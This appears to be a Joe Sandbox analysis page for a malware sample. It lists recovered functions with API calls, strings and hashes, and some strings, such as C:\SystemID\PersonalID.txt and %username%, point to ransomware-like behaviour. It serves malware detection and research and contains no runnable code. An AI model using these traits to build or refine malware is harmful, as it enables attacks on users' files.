Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 225b5b572bde38d8badb4302925c97bbda5b3bc979f66d9100de26b3352a814c
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(00800000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 5f096c3e9bb47512b2e803a95e05f57af227ed284e059a7ec7b69b1753ace984
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: HeapAlloc.KERNEL32(00800000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: AllocByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 3705855051-0
Opcode ID: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: cc716eae1123478769c9b07cafd2d40a616cf11e9764af6c4d9ae2a2154c1c51
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

%username%, xrefs: 0041B283
I:\5d2860c89d774.jpg, xrefs: 0041B32F

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
_fputws.LIBCMT ref: 0040C9C6
_fputws.LIBCMT ref: 0040C9E8
_fputws.LIBCMT ref: 0040C9F3

Strings

C:\SystemID, xrefs: 0040C946
C:\SystemID\PersonalID.txt, xrefs: 0040C956

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _fputws$CreateDirectory
String ID: C:\SystemID$C:\SystemID\PersonalID.txt
API String ID: 2590308727-54166481
Opcode ID: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction ID: 548e7949761e073c688dfdb6472f733b12cf2ebad02737ba307de427565b7e5f
Opcode Fuzzy Hash: b861cdce013af4209bc30e04672f112ccf944bab98ef41955443f7e5140c860b
Instruction Fuzzy Hash: 9911E672A00315EBCF20DF65DC8579A77A0AF10318F10063BED5962291E37A99588BCA

Uniqueness

Uniqueness Score: -1.00%

Function 00420DB3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00420DD5
__calloc_crt.LIBCMT ref: 00420DEE

Strings

Assertion failed: %s, file %s, line %d, xrefs: 00420E13

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: __calloc_crt
String ID: Assertion failed: %s, file %s, line %d
API String ID: 3494438863-969893948
Opcode ID: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction ID: 3c5265aa1bf4e9f5ad4874ec33d215fa8746995624eee7e22a7137551c8458fa
Opcode Fuzzy Hash: 561489f2e4af6d624f58dbcfcda68910edfdae4a72d1be81448c26c2074ac95f
Instruction Fuzzy Hash: 75F0A97130A2218BE734DB75BC51B6A27D5AF22724B51082FF100DA5C2E73C88425699

Uniqueness

Uniqueness Score: -1.00%

Function 00480620 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00480686

Part of subcall function 00454C00: _raise.LIBCMT ref: 00454C18

Strings

.\crypto\evp\digest.c, xrefs: 00480638
ctx->digest->md_size <= EVP_MAX_MD_SIZE, xrefs: 0048062E

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

API ID: _memset_raise
String ID: .\crypto\evp\digest.c$ctx->digest->md_size <= EVP_MAX_MD_SIZE
API String ID: 1484197835-3867593797
Opcode ID: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction ID: 96aa535d5fc7c596ca855a62b55a20e08de4f59c43588781e3518ec4b5147bd0
Opcode Fuzzy Hash: 332f563a29a4ae085e93c3cfda2a52d89a6f4a051d037047c0cfd39b7a6a7ebb
Instruction Fuzzy Hash: 82012C756002109FC311EF09EC42E5AB7E5AFC8304F15446AF6889B352E765EC558B99

Uniqueness

Uniqueness Score: -1.00%

Function 0044F23E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 0044F251

Part of subcall function 00430CFC: std::exception::_Copy_str.LIBCMT ref: 00430D15

__CxxThrowException@8.LIBCMT ref: 0044F266

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,?,<yP,?,?,?,?,?,00423B9C,?,0050793C,?,00000001), ref: 00430F1F

Strings

TeM, xrefs: 0044F247, 0044F25B

Memory Dump Source

Source File: 00000001.00000002.1694613073.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1694613073.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.1694613073.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_SUwX12D2S6.jbxd

Yara matches

Similarity

